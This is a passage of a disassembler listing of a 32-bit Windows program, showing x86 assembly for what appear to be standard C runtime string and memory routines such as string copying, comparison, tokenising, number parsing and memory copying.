		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB278, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 26906ADh
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		call	near ptr 2690DCCh
		nop
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2C4


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2C4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
